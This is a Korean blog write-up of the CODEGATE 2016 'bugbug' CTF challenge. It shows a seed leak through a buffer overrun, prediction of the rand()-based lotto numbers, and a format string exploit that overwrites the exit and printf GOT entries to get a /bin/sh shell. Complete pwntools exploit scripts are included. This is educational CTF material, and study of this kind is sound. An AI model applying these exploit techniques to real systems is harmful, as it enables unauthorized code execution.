ipwn
[CODEGATE 2016] bugbug 본문
이번에 푼 문제는 bugbug이다.
오랜만에 ctf문제 exploit해서 기분 좋다.
암튼 바로 시작하겠다.
후 쓰다보니 라업 쓰는게 문제 푸는 것 보다 더 어렵다.
NX가 걸려있고 나머지는 아무것도 걸려있지 않다.
이제 ida로 까보자.
int __cdecl main() { unsigned int v0; // eax unsigned int v1; // eax int result; // eax int v3[6]; // [esp+4h] [ebp-A4h] int v4[6]; // [esp+1Ch] [ebp-8Ch] char buf; // [esp+34h] [ebp-74h] unsigned int ptr; // [esp+98h] [ebp-10h] FILE *stream; // [esp+9Ch] [ebp-Ch] v0 = 0; do { v4[v0] = 0; ++v0; } while ( v0 < 6 ); v1 = 0; do { v3[v1] = 0; ++v1; } while ( v1 < 6 ); setvbuf(stdout, 0, 2, 0); stream = fopen("/dev/urandom", "rb"); fread(&ptr, 4u, 1u, stream); fclose(stream); srand(ptr); printf("\nWho are you? "); read(0, &buf, 0x64u); printf("\nHello~ %s\n", &buf); for ( dword_804A05C = 0; dword_804A05C <= 5; ++dword_804A05C ) { LABEL_6: dword_804A058 = rand() % 45 + 1; for ( dword_804A054 = 0; dword_804A05C - 1 >= dword_804A054; ++dword_804A054 ) { if ( v4[dword_804A054] == dword_804A058 ) goto LABEL_6; } v4[dword_804A05C] = dword_804A058; } lotto_input((int)v3); result = lotto_compare((int)v3, (int)v4); if ( result ) { printf("Congratulation, "); printf(&buf); puts("You Win!!\n"); exit(0); } return result; } |
보면 bss영역에 막 값넣고 뭐하고 막 하는데 그냥 랜덤값 6개 뽑는거다.
그 다음에는 내가 넣은 값 6개랑 비교해서 맞으면 congratulation출력해주고 포맷스트링 버그가 있는 위치로 이동한다.
그리고 보면 buf변수에는 read함수로 0x64크기만큼 입력받을 수 있게 되어있는데, buf의 시작주소에서 0x64만큼 뒤에는 ptr변수가 존재하고, 랜덤값을 뽑는 seed값은 ptr변수에 존재한다.
이 말은 seed값을 leak할 수 있다는 말이고, 그럼 랜덤값을 우리가 맞출 수 있다는 말을 의미한다.
즉 포맷스트링 버그로 넘어가는 부분까지 슥삭 갈 수 있다 (grin)
물론 이 부분까지는 금방금방 할 수 있다.
hexdump를 떠보면 알 수 있듯이 ...AAAA가 출력되다가 이상한 값이 leak된다.
저 A값이 계속 출력된 그 뒤에 값이 seed값이라는 것을 알 수 있다.
이제 seed값을 알아냈으니 C언어로 랜덤값 6개 뽑아내는 바이너리 짜서, 랜덤값 맞추고, 이제 취약점 일어나는 부분으로 넘어가보자.
from pwn import * p = process('./bugbug') leak = 'A'*100 print p.recv() p.sendline(leak) p.recvuntil('A'*100) print hexdump(p.recv()[0:4]) |
이렇게 script를 작성하면 seed값을 성공적으로 leak할 수 있을 것이다.
암튼 저 스크립트 실행시키면 이렇게 seed값이 leak된다.
이제 seed값을 알아냈으니까 random값 6개를 뽑아내서 하면 되는데, 파이썬에서 해도 되지만 난 C로 짜서 풀었다. 대충 C로 랜덤값 6개 뽑아주는 프로그램 작성해서, 출력 값 recv해오고 그 값을 bugbug바이너리에 넘겨주면 포맷스트링 버그가 터지는 곳으로 이동할 수 있을 것이다.
이렇게 lotto번호 준다 ㅇㅇ
이 값 넘겨주면 이제 포맷스트링버그 터지는 곳으로 이동할 것이다.
한 번 넘겨줘보겠다.
이케 뛰었다 굳
이제 AAAA값과 %9x값을 넣어서 포맷스트링 버그를 일으켜, AAAA가 언제 다시 나오는지 확인해보자.
보니까 17번째 format string에서 0x41414141을 출력하며 AAAA의 위치를 알 수 있는데, 4번째 부분을 보면 libc영역 내의 값 처럼 생긴 이상한 값이 있다. 만약 저 값이 정말 libc영역 내에 존재하는 값이라면, libc_base까지의 offset을 구하고, system까지 구할 수 있을 것이다.
일단 저 값이 정말 libc영역 내의 값인지 확인해보겠다.
lotto번호를 보내서 프로그램을 끝내기 전에 pid로 디버깅 하기 위해서 raw_input('^&^')을 익스플로잇 코드 사이에 넣어주었다.
지금 libc의 영역의 값은 0xf7d0c000 ~ 0xf7ebf000까지이다. 그럼 이제 저 포맷스트링 버그를 일으켜서 값을 확인해보자.
;; 아쉽게도 libc영역 사이에 있지는 않다. 하지만 저 주소와 libc_base까지의 offset은 고정적이기 때문에, 풀 때 상관은 없더라.. 뭐 암튼 저 값과 libc_base사이의 offset은 0x1f9a74이다. 그리고 libc_base부터 system까지의 offset은 0x3ada0이다.
이제 system함수도 구했고.. system함수로 아무 함수의 got나 덮어주면 될 것 같지만 한 번만 got overwrite를 해준다고 풀 수 없는 문제인 것 같아 보인다. 고로 exit의 got를 다시 buf에 read함수로 값을 넣어주는 곳으로 옮긴 뒤 그 뒤에 printf의 got를 system으로 바꾸고, 인자로 /bin/sh를 넘겨주면 해결 될 것이다.
stage별로 다시 분류하자 후.. 라업이 너무 정신없다.
stage1. exit got를 read함수가 시작되는 부분으로 got overwrite + system함수 주소 구하기.
stage2. printf got를 system함수로 overwrite
stage3. /bin/sh;를 인자로 넘겨줘서 쉘 가져오기 (grin)
read함수가 시작되는 부분이다.
이렇게 값을 넘겨주면 될 것이다. (exit_g에는 exit_got의 값이 들어있음)
그럼 system함수를 구하기 위한 값이 leak되는 동시에 read함수로 이동도 할 수 있고~ 그릏다.
이제 다시 값을 넘겨줘야 하는데, stage2에 맞게 값을 넘겨주면 될 것이다.
이렇게 값을 넘겨주면 될 것이다.
이제 사실 다 끝났다; 뭘 더 적을 게 없다.
이제 실행시키고 /bin/sh;를 인자로 넘겨주기만 하면 쉘 가져와진다.
근데 이상하게 read다시 호출할 때 뭔 문제가 있는건지, lotto번호가 안넘어가고 그냥 이어붙여저서 나오길래 그냥 내가 직접 손수 입력해서 풀었다.
암튼 여기서 lotto값 나온거 저기 39...~ 입력하고
/bin/sh;를 인자로 넘겨주고..
3번째의 로또번호를 다시 넣어주면!
그럼 이렇게 쉘이 가져와진다.
아니 예상대로 풀리긴 했는데 뭔가 이상하지만 풀었으니까... (grin)..,
일단 스크립트 올려놓고 다시 스크립트를 최적화해서 한 번에 다 풀리면 그 때 다시 스크립트 수정해서 올려야겠다.
수정 끝 스크립트 조금 바꿔줬더니 한 번에 쉘 가져와진다.
완 - 벽.. (grin)
from pwn import * p = process('./bugbug') e = ELF('./bugbug') exit_g = e.got['exit'] printf_g = e.got['printf'] stage_1 = p32(exit_g) + p32(exit_g + 2) + "%4$8x" + "%34883x" + "%17$n" + "%32689x" + "%18$n" + "A"*63 def get_lotto(input_send): lot = process('./lotto') p.sendline(input_send) sleep(0.3) leak = p.recv() seed = leak[122:126] log.info('seed : ' + hex(u32(seed))) lot.sendline(str(u32(seed))) lotto1 = lot.recvuntil('\n') lotto2 = lot.recvuntil('\n') lotto3 = lot.recv() log.info('lotto num1 : ' + lotto1) log.info('lotto num2 : ' + lotto2) log.info('lotto num3 : ' + lotto3) p.sendline(lotto1) leak = p.recv() return leak, lotto1, lotto2, lotto3 format_leak, lotto1, lotto2, lotto3 = get_lotto(stage_1) libc_leak = int(format_leak[25:33], 16) libc_base = libc_leak - 0x1f9a74 system = libc_base + 0x3ada0 log.info('system : ' + hex(system)) low = system % 0x10000 high = system / 0x10000 + 0x10000 stage_2 = '/bin' + '/sh;' + p32(printf_g) + p32(printf_g + 2) + '%' + str(low - 16) + 'x' + '%23$n' + '%' + str(high-low) + 'x' + '%24$n' p.recv() p.sendline(stage_2 + 'A'*(100 - len(stage_2)) + lotto2) for i in range(47): p.recv() p.sendline(stage_2 + 'A'*(100 - len(stage_2)) + lotto3) p.interactive() | cs |
라업 끝 (grin) 이상한 부분이나 틀린 부분, 이해 안가는 부분은 코멘트 남겨주세요
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2018] catshop (0) | 2018.05.17 |
---|---|
[CODEGATE 2018] betting (0) | 2018.05.17 |
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2014] nuclear (0) | 2018.02.02 |
[CODEGATE 2017] babyMISC (0) | 2018.01.31 |